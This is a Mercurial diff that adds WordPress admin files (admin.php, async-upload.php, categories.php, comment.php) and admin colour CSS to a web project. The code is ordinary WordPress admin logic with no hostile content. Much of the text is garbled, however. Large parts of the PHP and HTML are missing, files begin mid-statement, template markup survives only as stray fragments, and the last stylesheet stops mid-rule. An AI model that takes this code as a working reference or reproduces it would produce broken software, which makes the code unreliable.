+ \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/admin.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/admin.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,163 @@ +flush_rules(); + update_option( 'db_upgraded', false ); + + /** + * Runs on the next page load after successful upgrade + * + * @since 2.8 + */ + do_action('after_db_upgrade'); +} elseif ( get_option('db_version') != $wp_db_version ) { + wp_redirect(admin_url('upgrade.php?_wp_http_referer=' . urlencode(stripslashes($_SERVER['REQUEST_URI'])))); + exit; +} + +require_once(ABSPATH . 'wp-admin/includes/admin.php'); + +auth_redirect(); + +nocache_headers(); + +update_category_cache(); + +// Schedule trash collection +if ( !wp_next_scheduled('wp_scheduled_delete') && !defined('WP_INSTALLING') ) + wp_schedule_event(time(), 'daily', 'wp_scheduled_delete'); + +set_screen_options(); + +$posts_per_page = get_option('posts_per_page'); +$date_format = get_option('date_format'); +$time_format = get_option('time_format'); + +wp_reset_vars(array('profile', 'redirect', 'redirect_url', 'a', 'text', 'trackback', 'pingback')); + +wp_admin_css_color('classic', __('Blue'), admin_url("css/colors-classic.css"), array('#073447', '#21759B', '#EAF3FA', '#BBD8E7')); +wp_admin_css_color('fresh', __('Gray'), admin_url("css/colors-fresh.css"), array('#464646', '#6D6D6D', '#F1F1F1', '#DFDFDF')); + +wp_enqueue_script( 'common' ); +wp_enqueue_script( 'jquery-color' ); + +$editing = false; + +if (isset($_GET['page'])) { + $plugin_page = stripslashes($_GET['page']); + $plugin_page = plugin_basename($plugin_page); +} + +require(ABSPATH . 'wp-admin/menu.php'); + +do_action('admin_init'); + +// Handle plugin admin pages. +if (isset($plugin_page)) { + if( ! $page_hook = get_plugin_page_hook($plugin_page, $pagenow) ) { + $page_hook = get_plugin_page_hook($plugin_page, $plugin_page); + // backwards compatibility for plugins using add_management_page + if ( empty( $page_hook ) && 'edit.php' == $pagenow && '' != get_plugin_page_hook($plugin_page, 'tools.php') ) { + // There could be plugin specific params on the URL, so we need the whole query string + if ( !empty($_SERVER[ 'QUERY_STRING' ]) ) + $query_string = $_SERVER[ 'QUERY_STRING' ]; + else + $query_string = 'page=' . $plugin_page; + wp_redirect( 'tools.php?' . $query_string ); + exit; + } + } + + if ( $page_hook ) { + do_action('load-' . $page_hook); + if (! isset($_GET['noheader'])) + require_once(ABSPATH . 'wp-admin/admin-header.php'); + + do_action($page_hook); + } else { + if ( validate_file($plugin_page) ) { + wp_die(__('Invalid plugin page')); + } + + if (! ( file_exists(WP_PLUGIN_DIR . "/$plugin_page") && is_file(WP_PLUGIN_DIR . "/$plugin_page") ) ) + wp_die(sprintf(__('Cannot load %s.'), htmlentities($plugin_page))); + + do_action('load-' . $plugin_page); + + if (! isset($_GET['noheader'])) + require_once(ABSPATH . 'wp-admin/admin-header.php'); + + include(WP_PLUGIN_DIR . "/$plugin_page"); + } + + include(ABSPATH . 'wp-admin/admin-footer.php'); + + exit(); +} else if (isset($_GET['import'])) { + + $importer = $_GET['import']; + + if ( ! current_user_can('import') ) + wp_die(__('You are not allowed to import.')); + + if ( validate_file($importer) ) { + wp_die(__('Invalid importer.')); + } + + // Allow plugins to define importers as well + if ( !isset($wp_importers) || !isset($wp_importers[$importer]) || ! is_callable($wp_importers[$importer][2])) + { + if (! file_exists(ABSPATH . "wp-admin/import/$importer.php")) + { + wp_die(__('Cannot load importer.')); + } + include(ABSPATH . "wp-admin/import/$importer.php"); + } + + $parent_file = 'tools.php'; + $submenu_file = 'import.php'; + $title = __('Import'); + + if (! isset($_GET['noheader'])) + require_once(ABSPATH . 'wp-admin/admin-header.php'); + + require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); + + define('WP_IMPORTING', true); + + call_user_func($wp_importers[$importer][2]); + + include(ABSPATH . 'wp-admin/admin-footer.php'); + + // Make sure rules are flushed + global $wp_rewrite; + $wp_rewrite->flush_rules(false); + + exit(); +} else { + do_action("load-$pagenow"); +} + +if ( !empty($_REQUEST['action']) ) + do_action('admin_action_' . $_REQUEST['action']); + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/async-upload.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/async-upload.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,61 @@ + false, 'delete' => true )); + } else { + add_filter('attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2); + echo get_media_item($id); + } + exit; +} + +check_admin_referer('media-form'); + +$id = media_handle_upload('async-upload', $_REQUEST['post_id']); +if (is_wp_error($id)) { + echo '
'.esc_html($id->get_error_message()).'
'; + exit; +} + +if ( $_REQUEST['short'] ) { + // short form response - attachment ID only + echo $id; +} +else { + // long form response - big chunk o html + $type = $_REQUEST['type']; + echo apply_filters("async_upload_{$type}", $id); +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/categories.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/categories.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,311 @@ +%s category: this is the default one"), get_cat_name($cat_ID) ) ); + + wp_delete_category($cat_ID); + + wp_safe_redirect( add_query_arg( 'message', 2, wp_get_referer() ) ); + exit; + +break; + +case 'bulk-delete': + check_admin_referer('bulk-categories'); + + if ( !current_user_can('manage_categories') ) + wp_die( __('You are not allowed to delete categories.') ); + + $cats = (array) $_GET['delete']; + $default_cat = get_option('default_category'); + foreach ( $cats as $cat_ID ) { + $cat_ID = (int) $cat_ID; + + // Don't delete the default cat. + if ( $cat_ID == $default_cat ) + wp_die( sprintf( __("Can’t delete the %s category: this is the default one"), get_cat_name($cat_ID) ) ); + + wp_delete_category($cat_ID); + } + + wp_safe_redirect( wp_get_referer() ); + exit; + +break; +case 'edit': + + $title = __('Edit Category'); + + require_once ('admin-header.php'); + $cat_ID = (int) $_GET['cat_ID']; + $category = get_category_to_edit($cat_ID); + include('edit-category-form.php'); + +break; + +case 'editedcat': + $cat_ID = (int) $_POST['cat_ID']; + check_admin_referer('update-category_' . $cat_ID); + + if ( !current_user_can('manage_categories') ) + wp_die(__('Cheatin’ uh?')); + + $location = 'categories.php'; + if ( $referer = wp_get_original_referer() ) { + if ( false !== strpos($referer, 'categories.php') ) + $location = $referer; + } + + if ( wp_update_category($_POST) ) + $location = add_query_arg('message', 3, $location); + else + $location = add_query_arg('message', 5, $location); + + wp_redirect($location); + + exit; +break; + +default: + +if ( isset($_GET['_wp_http_referer']) && ! empty($_GET['_wp_http_referer']) ) { + wp_redirect( remove_query_arg( array('_wp_http_referer', '_wpnonce'), stripslashes($_SERVER['REQUEST_URI']) ) ); + exit; +} + +wp_enqueue_script('admin-categories'); +if ( current_user_can('manage_categories') ) + wp_enqueue_script('inline-edit-tax'); + +require_once ('admin-header.php'); + +$messages[1] = __('Category added.'); +$messages[2] = __('Category deleted.'); +$messages[3] = __('Category updated.'); +$messages[4] = __('Category not added.'); +$messages[5] = __('Category not updated.'); +?> + +
+ +

' . __('Search results for “%s”') . '', esc_html( stripslashes($_GET['s']) ) ); ?> +

+ + +

+ + +
+ +
+
+ +
+ +
+
+
+
+ + 0, 'search' => $_GET['s']))); +else + $num_cats = wp_count_terms('category'); + +$page_links = paginate_links( array( + 'base' => add_query_arg( 'pagenum', '%#%' ), + 'format' => '', + 'prev_text' => __('«'), + 'next_text' => __('»'), + 'total' => ceil($num_cats / $cats_per_page), + 'current' => $pagenum +)); + +if ( $page_links ) + echo "
$page_links
"; +?> + +
+ + + +
+ +
+
+ +
+ + + + + + + + + + + + + + + + + +
+ +
+$page_links
"; +?> + +
+ + + +
+ +
+
+ + + +
+

Note:
Deleting a category does not delete the posts in that category. Instead, posts that were only assigned to the deleted category are set to the category %s.'), apply_filters('the_category', get_cat_name(get_option('default_category')))) ?>

+

category to tag converter.'), 'admin.php?import=wp-cat2tag') ?>

+
+ +
+
+ +
+
+ + +parent = 0; do_action('add_category_form_pre', $category); ?> + +
+

+
+
+ + + +
+ + +

+
+ +
+ + +

+
+ +
+ + 0, 'name' => 'category_parent', 'orderby' => 'name', 'selected' => $category->parent, 'hierarchical' => true, 'show_option_none' => __('None'))); ?> +

+
+ +
+ + +

+
+ +

+ +
+ + + +
+
+ +
+
+ + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/comment.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/comment.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,269 @@ +

$msg

"; + include('admin-footer.php'); + die; +} + +switch( $action ) { + +case 'editcomment' : + $title = __('Edit Comment'); + + wp_enqueue_script('comment'); + require_once('admin-header.php'); + + $comment_id = absint( $_GET['c'] ); + + if ( !$comment = get_comment( $comment_id ) ) + comment_footer_die( __('Oops, no comment with this ID.') . sprintf(' '.__('Go back').'!', 'javascript:history.go(-1)') ); + + if ( !current_user_can('edit_post', $comment->comment_post_ID) ) + comment_footer_die( __('You are not allowed to edit comments on this post.') ); + + if ( 'trash' == $comment->comment_approved ) + comment_footer_die( __('This comment is in the Trash. Please move it out of the Trash if you want to edit it.') ); + + $comment = get_comment_to_edit( $comment_id ); + + include('edit-form-comment.php'); + + break; + +case 'delete' : +case 'approve' : +case 'trash' : +case 'spam' : + + require_once('admin-header.php'); + + $comment_id = absint( $_GET['c'] ); + $formaction = $action . 'comment'; + $nonce_action = 'approve' == $action ? 'approve-comment_' : 'delete-comment_'; + $nonce_action .= $comment_id; + + if ( !$comment = get_comment_to_edit( $comment_id ) ) + comment_footer_die( __('Oops, no comment with this ID.') . sprintf(' '.__('Go back').'!', 'edit.php') ); + + if ( !current_user_can( 'edit_post', $comment->comment_post_ID ) ) + comment_footer_die( 'approve' != $action ? __('You are not allowed to delete comments on this post.') : __('You are not allowed to edit comments on this post, so you cannot approve this comment.') ); +?> +
+ +
+ + +

+ + + + + + +comment_author_email ) { ?> + + + + + +comment_author_url ) { ?> + + + + + + + + + +
comment_author; ?>
comment_author_email; ?>
comment_author_url; ?>
comment_content; ?>
+ +

+ +
+ + + + + + +
+ + + + + + +
+ +
+
+'.__('Go back').'!', 'edit-comments.php') ); + if ( !current_user_can('edit_post', $comment->comment_post_ID ) ) + comment_footer_die( __('You are not allowed to edit comments on this post.') ); + + if ( '' != wp_get_referer() && false == $noredir && false === strpos(wp_get_referer(), 'comment.php') ) + $redir = wp_get_referer(); + elseif ( '' != wp_get_original_referer() && false == $noredir ) + $redir = wp_get_original_referer(); + else + $redir = admin_url('edit-comments.php'); + + $redir = remove_query_arg( array('spammed', 'unspammed', 'trashed', 'untrashed', 'deleted', 'ids'), $redir ); + + switch ( $action ) { + case 'deletecomment' : + wp_delete_comment( $comment_id ); + $redir = add_query_arg( array('deleted' => '1'), $redir ); + break; + case 'trashcomment' : + wp_trash_comment($comment_id); + $redir = add_query_arg( array('trashed' => '1', 'ids' => $comment_id), $redir ); + break; + case 'untrashcomment' : + wp_untrash_comment($comment_id); + $redir = add_query_arg( array('untrashed' => '1'), $redir ); + break; + case 'spamcomment' : + wp_spam_comment($comment_id); + $redir = add_query_arg( array('spammed' => '1', 'ids' => $comment_id), $redir ); + break; + case 'unspamcomment' : + wp_unspam_comment($comment_id); + $redir = add_query_arg( array('unspammed' => '1'), $redir ); + break; + } + + wp_redirect( $redir ); + + die; + break; + +case 'approvecomment' : +case 'unapprovecomment' : + $comment_id = absint( $_GET['c'] ); + check_admin_referer( 'approve-comment_' . $comment_id ); + + $noredir = isset( $_GET['noredir'] ); + + if ( !$comment = get_comment( $comment_id ) ) + comment_footer_die( __('Oops, no comment with this ID.') . sprintf(' '.__('Go back').'!', 'edit.php') ); + + if ( !current_user_can( 'edit_post', $comment->comment_post_ID ) ) { + if ( 'approvecomment' == $action ) + comment_footer_die( __('You are not allowed to edit comments on this post, so you cannot approve this comment.') ); + else + comment_footer_die( __('You are not allowed to edit comments on this post, so you cannot disapprove this comment.') ); + } + + if ( '' != wp_get_referer() && false == $noredir ) + $redir = remove_query_arg( array('approved', 'unapproved'), wp_get_referer() ); + else + $redir = admin_url('edit-comments.php?p=' . absint( $comment->comment_post_ID ) ); + + if ( 'approvecomment' == $action ) { + wp_set_comment_status( $comment_id, 'approve' ); + $redir = add_query_arg( array( 'approved' => 1 ), $redir ); + } else { + wp_set_comment_status( $comment_id, 'hold' ); + $redir = add_query_arg( array( 'unapproved' => 1 ), $redir ); + } + + wp_redirect( $redir ); + + exit(); + break; + +case 'editedcomment' : + + $comment_id = absint( $_POST['comment_ID'] ); + $comment_post_id = absint( $_POST['comment_post_ID'] ); + + check_admin_referer( 'update-comment_' . $comment_id ); + + edit_comment(); + + $location = ( empty( $_POST['referredby'] ) ? "edit-comments.php?p=$comment_post_id" : $_POST['referredby'] ) . '#comment-' . $comment_id; + $location = apply_filters( 'comment_edit_redirect', $location, $comment_id ); + wp_redirect( $location ); + + exit(); + break; + +default: + wp_die( __('Unknown action.') ); + break; + +} // end switch + +include('admin-footer.php'); + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/colors-classic-rtl.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/colors-classic-rtl.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,80 @@ +.bar { + border-right-color: transparent; + border-left-color: #99d; +} + +.plugins .togl { + border-right-color: transparent; + border-left-color: #ccc; +} + +.post-com-count { + background-image: url(../images/bubble_bg-rtl.gif); +} +.tablenav .tablenav-pages a { + background: #eee url('../images/menu-bits-rtl-vs.gif') repeat-x scroll right -379px; +} +#upload-menu li.current { + border-right-color: transparent; + border-left-color: #448abd; +} + +#adminmenu .wp-submenu .current a.current { + background: transparent url(../images/menu-bits-rtl-vs.gif) no-repeat scroll right -289px; +} + +#adminmenu li.wp-menu-separator { + background: transparent url(../images/menu-arrows.gif) no-repeat scroll right -34px; +} + +.folded #adminmenu li.wp-menu-separator { + background: transparent url(../images/menu-arrows.gif) no-repeat scroll left 5px; +} + +#adminmenu li.wp-has-current-submenu .wp-menu-toggle, +#adminmenu li.wp-has-current-submenu:hover .wp-menu-toggle { + background: transparent url(../images/menu-bits-rtl-vs.gif) repeat-x scroll right -207px; +} + +#adminmenu .wp-has-current-submenu ul li a.current { + background: url(../images/menu-dark-rtl.gif) top right no-repeat !important; +} + +#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu, +#adminmenu .menu-top .current { + background: url(../images/menu-bits-rtl-vs.gif) top right repeat-x; +} + +#adminmenu li.wp-has-current-submenu ul li a { + background: url(../images/menu-dark-rtl.gif) bottom right no-repeat !important; +} + +#adminmenu li.wp-has-current-submenu.wp-menu-open .wp-menu-toggle, #adminmenu li.wp-has-current-submenu:hover .wp-menu-toggle { + background: transparent url(../images/menu-bits-rtl-vs.gif) no-repeat right -207px; +} + +#adminmenu .wp-has-submenu:hover .wp-menu-toggle, +#adminmenu .wp-menu-open .wp-menu-toggle { + background: transparent url(../images/menu-bits-rtl-vs.gif) repeat-x scroll right -109px; +} + +#adminmenu a.wp-has-submenu { + background: #f1f1f1 url(../images/menu-bits-rtl-vs.gif) repeat-x scroll right -379px; +} + +#adminmenu .wp-submenu a { + background: #FFFFFF url(../images/menu-bits-rtl-vs.gif) no-repeat scroll right -310px; +} + +#adminmenu li.current a, +#adminmenu .wp-submenu a:hover { + background: transparent url(../images/menu-bits-rtl-vs.gif) no-repeat scroll right -289px; +} + +#adminmenu li.wp-has-current-submenu a.wp-has-submenu { + background: #b5b5b5 url(../images/menu-bits-rtl-vs.gif) repeat-x scroll right top; +} + +.meta-box-sortables .postbox:hover .handlediv { + background: transparent url(../images/menu-bits-rtl-vs.gif) no-repeat scroll right -111px; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/colors-classic.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/colors-classic.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +html{background-color:#f7f6f1;}* html input,* html .widget{border-color:#8cbdd5;}textarea,input[type="text"],input[type="password"],input[type="file"],input[type="button"],input[type="submit"],input[type="reset"],select{border-color:#dfdfdf;background-color:#fff;}kbd,code{background:#eaeaea;}input[readonly]{background-color:#eee;}.find-box-search{border-color:#dfdfdf;background-color:#f1f1f1;}.find-box{background-color:#f1f1f1;}.find-box-inside{background-color:#fff;}a.page-numbers:hover{border-color:#999;}body,#wpbody,.form-table .pre{color:#333;}body>#upload-menu{border-bottom-color:#fff;}#postcustomstuff table,#your-profile fieldset,#rightnow,div.dashboard-widget,#dashboard-widgets p.dashboard-widget-links,#replyrow #ed_reply_toolbar input{border-color:#ccc;}#poststuff .inside label.spam,#poststuff .inside label.deleted{color:red;}#poststuff .inside label.waiting{color:orange;}#poststuff .inside label.approved{color:green;}#postcustomstuff table{border-color:#dfdfdf;background-color:#f9f9f9;}#postcustomstuff thead th{background-color:#f1f1f1;}#postcustomstuff table input,#postcustomstuff table textarea{border-color:#dfdfdf;background-color:#fff;}.widefat{border-color:#dfdfdf;background-color:#fff;}div.dashboard-widget-error{background-color:#c43;}div.dashboard-widget-notice{background-color:#cfe1ef;}div.dashboard-widget-submit{border-top-color:#ccc;}div.tabs-panel,ul#category-tabs li.tabs{border-color:#dfdfdf;}ul#category-tabs li.tabs{background-color:#f1f1f1;}input.disabled,textarea.disabled{background-color:#ccc;}.login #backtoblog a:hover,#plugin-information .action-button a,#plugin-information .action-button a:hover,#plugin-information .action-button a:visited{color:#fff;}.widget .widget-top,.postbox h3,.stuffbox h3{background:#d5e6f2 url("../images/blue-grad.png") repeat-x left top;text-shadow:#fff 0 1px 0;}.form-table th,.form-wrap label{color:#222;text-shadow:#fff 0 1px 0;}.description,.form-wrap p{color:#666;}strong .post-com-count span{background-color:#21759b;}.sorthelper{background-color:#ccf3fa;}.ac_match,.subsubsub a.current{color:#000;}.wrap h2{color:#093e56;}.ac_over{background-color:#f0f0b8;}.ac_results{background-color:#fff;border-color:#808080;}.ac_results li{color:#101010;}.alt .alternate{background-color:#edfbfc;}.available-theme a.screenshot{background-color:#f1f1f1;border-color:#ddd;}.bar{background-color:#e8e8e8;border-right-color:#99d;}#media-upload,#media-upload .media-item .slidetoggle{background:#fff;}#media-upload .slidetoggle{border-top-color:#dfdfdf;}.error,.login #login_error{background-color:#ffebe8;border-color:#c00;}.error a{color:#c00;}.form-invalid{background-color:#ffebe8!important;}.form-invalid input,.form-invalid select{border-color:#c00!important;}.submit{border-color:#8cbdd5;}.highlight{background-color:#e4f2fd;color:#d54e21;}.howto,.nonessential,#edit-slug-box,.form-input-tip,.rss-widget span.rss-date,.subsubsub{color:#666;}.media-item{border-bottom-color:#dfdfdf;}#wpbody-content #media-items .describe{border-top-color:#dfdfdf;}.media-upload-form label.form-help,td.help{color:#9a9a9a;}.post-com-count{background-image:url(../images/bubble_bg.gif);color:#fff;}.post-com-count span{background-color:#bbb;color:#fff;}.post-com-count:hover span{background-color:#d54e21;}.quicktags,.search{background-color:#ccc;color:#000;}.side-info h5{border-bottom-color:#dadada;}.side-info ul{color:#666;}.button,.button-secondary,.submit input,input[type=button],input[type=submit]{border-color:#dfdfdf;color:#464646;}.button:hover,.button-secondary:hover,.submit input:hover,input[type=button]:hover,input[type=submit]:hover{color:#000;border-color:#adaca7;}.button,.submit input,.button-secondary{background:#f2f2f2 url(../images/white-grad.png) repeat-x scroll left top;text-shadow:rgba(255,255,255,1) 0 1px 0;}.button:active,.submit input:active,.button-secondary:active{background:#eee url(../images/white-grad-active.png) repeat-x scroll left top;}input.button-primary,button.button-primary,a.button-primary{border-color:#5b86ab;font-weight:bold;color:#fff;background:#5580a6 url(../images/button-grad-vs.png) repeat-x scroll left top;text-shadow:rgba(0,0,0,0.3) 0 -1px 0;}input.button-primary:active,button.button-primary:active,a.button-primary:active{background:#21759b url(../images/button-grad-active-vs.png) repeat-x scroll left top;color:#eaf2fa;}input.button-primary:hover,button.button-primary:hover,a.button-primary:hover,a.button-primary:focus,a.button-primary:active{border-color:#2e5475;color:#eaf2fa;}.button-disabled,.button[disabled],.button:disabled,.button-secondary[disabled],.button-secondary:disabled,a.button.disabled{color:#aaa!important;border-color:#ddd!important;}.button-primary-disabled,.button-primary[disabled],.button-primary:disabled{color:#B0C3E2!important;background:#6590A6!important;}a:hover,a:active,a:focus{color:#d54e21;}#wphead #viewsite a:hover,#adminmenu a:hover,#adminmenu ul.wp-submenu a:hover,#the-comment-list .comment a:hover,#rightnow a:hover,#media-upload a.del-link:hover,div.dashboard-widget-submit input:hover,.subsubsub a:hover,.subsubsub a.current:hover,.ui-tabs-nav a:hover,.plugins .inactive a:hover,#all-plugins-table .plugins .inactive a:hover,#search-plugins-table .plugins .inactive a:hover{color:#d54e21;}#the-comment-list .comment-item,#dashboard-widgets #dashboard_quick_press form p.submit{border-color:#dfdfdf;}#dashboard_right_now .table{background:#faf9f7!important;}#side-sortables #category-tabs .tabs a{color:#333;}#rightnow .rbutton{background-color:#ebebeb;color:#264761;}.submitbox .submit{background-color:#464646;color:#ccc;}.plugins a.delete:hover,#all-plugins-table .plugins a.delete:hover,#search-plugins-table .plugins a.delete:hover,.submitbox .submitdelete{color:#f00;border-bottom-color:#f00;}.submitbox .submitdelete:hover,#media-items a.delete:hover{color:#fff;background-color:#f00;border-bottom-color:#f00;}#normal-sortables .submitbox .submitdelete:hover{color:#000;background-color:#f00;border-bottom-color:#f00;}.tablenav .dots{border-color:transparent;}.tablenav .next,.tablenav .prev{border-color:transparent;color:#21759b;}.tablenav .next:hover,.tablenav .prev:hover{border-color:transparent;color:#d54e21;}.updated,.login .message{background-color:#ffffe0;border-color:#e6db55;}.update-message{color:#000;}a.page-numbers{border-bottom-color:#b8d3e2;}.commentlist li{border-bottom-color:#ccc;}.widefat td,.widefat th,#install-plugins .plugins td,#install-plugins .plugins th{border-color:#dfdfdf;}.widefat th{text-shadow:rgba(255,255,255,0.8) 0 1px 0;}.widefat thead tr th,.widefat tfoot tr th,h3.dashboard-widget-title,h3.dashboard-widget-title span,h3.dashboard-widget-title small,.find-box-head{color:#333;background:#d5e6f2 url(../images/blue-grad.png) repeat-x scroll left top;}h3.dashboard-widget-title small a{color:#d7d7d7;}h3.dashboard-widget-title small a:hover{color:#fff;}a,#adminmenu a,#poststuff #edButtonPreview,#poststuff #edButtonHTML,#the-comment-list p.comment-author strong a,#media-upload a.del-link,#media-items a.delete,.plugins a.delete,.ui-tabs-nav a{color:#1c6280;}body.press-this .tabs a,body.press-this .tabs a:hover{background-color:#fff;border-color:#c6d9e9;border-bottom-color:#fff;color:#d54e21;}#adminmenu #awaiting-mod,#adminmenu .update-plugins,#sidemenu a .update-plugins,#rightnow .reallynow,#plugin-information .action-button{background-color:#d54e21;color:#fff;}#adminmenu li a:hover #awaiting-mod,#adminmenu li a:hover .update-plugins,#sidemenu li a:hover .update-plugins{background-color:#264761;color:#fff;}#adminmenu li.current a #awaiting-mod,#adminmenu li.current a .update-plugins,#adminmenu li.wp-has-current-submenu a .update-plugins,#adminmenu li.wp-has-current-submenu a .update-plugins{background-color:#ddd;color:#000;text-shadow:none;-moz-box-shadow:rgba(0,0,0,0.2) 0 -1px 0;-khtml-box-shadow:rgba(0,0,0,0.2) 0 -1px 0;-webkit-box-shadow:rgba(0,0,0,0.2) 0 -1px 0;box-shadow:rgba(0,0,0,0.2) 0 -1px 0;}#adminmenu li.current a:hover #awaiting-mod,#adminmenu li.current a:hover .update-plugins,#adminmenu li.wp-has-current-submenu a:hover #awaiting-mod,#adminmenu li.wp-has-current-submenu a:hover .update-plugins{background-color:#264761;color:#fff;}div#media-upload-header,div#plugin-information-header{background-color:#f9f9f9;border-bottom-color:#dfdfdf;}#currenttheme img{border-color:#666;}#dashboard_secondary div.dashboard-widget-content ul li a{background-color:#f9f9f9;}input.readonly,textarea.readonly{background-color:#ddd;}#ed_toolbar input,#ed_reply_toolbar input{background:#fff url("../images/fade-butt.png") repeat-x 0 -2px;}#editable-post-name{background-color:#fffbcc;}#edit-slug-box strong,.tablenav .displaying-num,#submitted-on{color:#777;}.login #nav a{color:#21759b!important;}.login #nav a:hover{color:#d54e21!important;}#footer,#footer-upgrade{background:#1d507d;color:#b6d1e4;}#media-items,.imgedit-group{border-color:#dfdfdf;}.checkbox,.side-info,.plugins tr,.postbox,#your-profile #rich_editing{background-color:#fff;}.plugins .inactive,.plugins .inactive th,.plugins .inactive td,tr.inactive+tr.plugin-update-tr .plugin-update{background-color:#ebeeef;}.plugin-update-tr .update-message{background-color:#fffbe4;border-color:#dfdfdf;}.plugins .active,.plugins .active th,.plugins .active td{color:#000;}.plugins .inactive a{color:#579;}#the-comment-list tr.undo,#the-comment-list div.undo{background-color:#f4f4f4;}#the-comment-list .unapproved{background-color:#ffffe0;}#the-comment-list .approve a{color:#006505;}#the-comment-list .unapprove a{color:#d98500;}table.widefat span.delete a,table.widefat span.trash a,table.widefat span.spam a,#dashboard_recent_comments .delete a,#dashboard_recent_comments .trash a,#dashboard_recent_comments .spam a{color:#bc0b0b;}.widget,#widget-list .widget-top,.postbox,#titlediv,#poststuff .postarea,.stuffbox{border-color:#dfdfdf;}.widget,.postbox{background-color:#fff;}.ui-sortable .postbox h3{color:#093e56;}.widget .widget-top,.ui-sortable .postbox h3:hover{color:#000;}.curtime #timestamp{background-image:url(../images/date-button.gif);}#quicktags #ed_link{color:#00f;}#rightnow .youhave{background-color:#f0f6fb;}#rightnow a{color:#448abd;}.tagchecklist span a,#bulk-titles div a{background:url(../images/xit.gif) no-repeat;}.tagchecklist span a:hover,#bulk-titles div a:hover{background:url(../images/xit.gif) no-repeat -10px 0;}#update-nag{background-color:#fffeeb;border-color:#ccc;color:#555;}.login #backtoblog a{color:#ccc;}#wphead{background-color:#1d507d;}body.login{border-top-color:#093e56;}#wphead h1 a{color:#fff;}#user_info{color:#b6d1e4;}#user_info a:link,#user_info a:visited,#footer a:link,#footer a:visited{color:#fff;text-decoration:none;}#user_info a:hover,#user_info a:active,#footer a:hover,#footer a:active{text-decoration:underline;}div#media-upload-error,.file-error,abbr.required,.widget-control-remove:hover,table.widefat .delete a:hover,table.widefat .trash a:hover,table.widefat .spam a:hover,#dashboard_recent_comments .delete a:hover,#dashboard_recent_comments .trash a:hover,#dashboard_recent_comments .spam a:hover{color:#f00;}#pass-strength-result{background-color:#eee;border-color:#ddd!important;}#pass-strength-result.bad{background-color:#ffb78c;border-color:#ff853c!important;}#pass-strength-result.good{background-color:#ffec8b;border-color:#fc0!important;}#pass-strength-result.short{background-color:#ffa0a0;border-color:#f04040!important;}#pass-strength-result.strong{background-color:#c3ff88;border-color:#8dff1c!important;}#quicktags{border-color:#dfdfdf;background-color:#dfdfdf;}#ed_toolbar input{border-color:#c3c3c3;}#ed_toolbar input:hover{border-color:#aaa;background:#ddd;}#poststuff .wp_themeSkin .mceStatusbar{border-color:#ededed;}#poststuff #edButtonPreview,#poststuff #edButtonHTML{background-color:#f2f1eb;border-color:#dfdfdf;color:#999;}#poststuff #editor-toolbar .active{border-bottom-color:#e3eef7;background-color:#e3eef7;color:#333;}#post-status-info{background-color:#ededed;}.wp_themeSkin *,.wp_themeSkin a:hover,.wp_themeSkin a:link,.wp_themeSkin a:visited,.wp_themeSkin a:active{color:#000;}.wp_themeSkin iframe{background:#fff;}.wp_themeSkin .mceStatusbar{color:#000;background-color:#f5f5f5;}.wp_themeSkin .mceButton{background-color:#e9e8e8;border-color:#b2b2b2;}.wp_themeSkin a.mceButtonEnabled:hover,.wp_themeSkin a.mceButtonActive,.wp_themeSkin a.mceButtonSelected{background-color:#d5d5d5;border-color:#777!important;}.wp_themeSkin .mceButtonDisabled{border-color:#ccc!important;}.wp_themeSkin .mceListBox .mceText,.wp_themeSkin .mceListBox .mceOpen{border-color:#b2b2b2;background-color:#d5d5d5;}.wp_themeSkin table.mceListBoxEnabled:hover .mceOpen,.wp_themeSkin .mceListBoxHover .mceOpen,.wp_themeSkin .mceListBoxSelected .mceOpen,.wp_themeSkin .mceListBoxSelected .mceText{border-color:#777!important;background-color:#d5d5d5;}.wp_themeSkin table.mceListBoxEnabled:hover .mceText,.wp_themeSkin .mceListBoxHover .mceText{border-color:#777!important;}.wp_themeSkin select.mceListBox{border-color:#b2b2b2;background-color:#fff;}.wp_themeSkin .mceSplitButton a.mceAction,.wp_themeSkin .mceSplitButton a.mceOpen{border-color:#b2b2b2;}.wp_themeSkin .mceSplitButton a.mceOpen:hover,.wp_themeSkin .mceSplitButtonSelected a.mceOpen,.wp_themeSkin table.mceSplitButtonEnabled:hover a.mceAction,.wp_themeSkin .mceSplitButton a.mceAction:hover{background-color:#d5d5d5;border-color:#777!important;}.wp_themeSkin .mceSplitButtonActive{background-color:#b2b2b2;}.wp_themeSkin div.mceColorSplitMenu table{background-color:#ebebeb;border-color:#b2b2b2;}.wp_themeSkin .mceColorSplitMenu a{border-color:#b2b2b2;}.wp_themeSkin .mceColorSplitMenu a.mceMoreColors{border-color:#fff;}.wp_themeSkin .mceColorSplitMenu a.mceMoreColors:hover{border-color:#0a246a;background-color:#b6bdd2;}.wp_themeSkin a.mceMoreColors:hover{border-color:#0a246a;}.wp_themeSkin .mceMenu{border-color:#ddd;}.wp_themeSkin .mceMenu table{background-color:#ebeaeb;}.wp_themeSkin .mceMenu .mceText{color:#000;}.wp_themeSkin .mceMenu .mceMenuItemEnabled a:hover,.wp_themeSkin .mceMenu .mceMenuItemActive{background-color:#f5f5f5;}.wp_themeSkin td.mceMenuItemSeparator{background-color:#aaa;}.wp_themeSkin .mceMenuItemTitle a{background-color:#ccc;border-bottom-color:#aaa;}.wp_themeSkin 